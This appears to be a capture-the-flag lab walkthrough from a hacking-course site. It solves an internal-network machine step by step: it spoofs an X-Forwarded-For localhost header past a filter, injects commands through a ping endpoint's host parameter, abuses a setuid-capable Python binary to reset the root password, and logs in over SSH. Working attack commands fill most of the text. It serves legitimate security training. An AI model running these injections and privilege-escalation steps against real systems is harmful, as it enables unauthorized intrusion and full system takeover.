A corporate internal network contains multiple services and security controls that appear secure from the outside. Through careful network enumeration and service analysis, skilled penetration testers can identify weaknesses in internal infrastructure and achieve lateral movement. 🎯 Time to demonstrate internal network exploitation skills!
Launch your dedicated AWS machine to begin hacking
Begin with port scanning to identify running services:
# Port scan reveals HTTP and SSH services
nmap -Pn -sC -sV -p- <target-ip>
# Expected services:
# 22/tcp - SSH
# 80/tcp - HTTP (Status Page)
# 8080/tcp - HTTP (Main Application)
Port 80 shows a status page, port 8080 hosts the main application with the vulnerable ping endpoint, and SSH is available on port 22.
Explore the web application to identify vulnerable endpoints:
# Visit the main application
curl http://<target-ip>:8080
# Discover the /ping endpoint
# Test for command injection vulnerabilities
# Analyze request parameters and headers
The application contains a /ping endpoint that is vulnerable to command injection through the host parameter.
X-Forwarded-For: 127.0.0.1
to make the server believe the request is coming from localhost rather than a remote source.Test and exploit the command injection vulnerability for information gathering:
# Test basic command injection
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;whoami'
# Enumerate system information
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;id'
# Check current directory and permissions
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;pwd'
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;ls%20-la'
The command injection allows direct command execution on the target system. The X-Forwarded-For: 127.0.0.1 header is essential to bypass the "Special characters not allowed from remote access" error by making the server treat the request as if it originated from localhost.
Use command injection to enumerate the system for privilege escalation opportunities:
# Check for files with elevated capabilities
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;getcap%20-r%20/%202>/dev/null'
# Look for SUID binaries
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;find%20/%20-perm%20-4000%202>/dev/null'
# Check sudo privileges (if applicable)
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;sudo%20-l'
# Enumerate interesting files and directories
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;ls%20-la%20/app'
The getcap command reveals that /app/python3new has the capability to change the effective user ID (setuid), which can be exploited for privilege escalation.
Before escalating privileges, retrieve the user flag using the current access level:
# Find and retrieve the user flag
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;find%20/home%20-name%20"flag-user.txt"%202>/dev/null'
# Read the user flag content
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;cat%20/home/*/flag-user.txt'
# Alternative: Search more broadly if needed
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;find%20/%20-name%20"flag-user.txt"%202>/dev/null%20-exec%20cat%20{}%20\;'
The user flag can be retrieved directly through command injection without requiring privilege escalation, as the current user has read access to the user flag location.
Exploit the Python binary's capabilities to escalate privileges and reset root password:
# Reset root password using capability exploitation
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;/app/python3new%20-c%20"import%20os;%20os.setuid(0);%20os.system(%27echo%20root:root%20|%20chpasswd%27)"'
This command leverages the setuid capability to:
os.setuid(0)
chpasswd
command with root privilegesUse SSH to log in as root and retrieve the root flag:
# SSH login as root with the reset password
ssh root@<target-ip>
# Password: root
# Verify root access
whoami
id
# Retrieve root flag
cat /root/flag-root.txt
With SSH root access achieved, the root flag can be retrieved from the /root directory. The user flag was already obtained in Step 5.
If SSH access is not available, the root flag can also be retrieved directly through command injection:
# Retrieve root flag via command injection
curl -X POST http://<target-ip>:8080/ping -H "X-Forwarded-For: 127.0.0.1" -d 'host=8.8.8.8;/app/python3new%20-c%20"import%20os;%20os.setuid(0);%20os.system(%27cat%20/root/flag-root.txt%27)"'
This approach allows root flag retrieval without requiring SSH access, using only the command injection vulnerability. The user flag was already obtained in Step 5.
The complete attack chain involves:
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.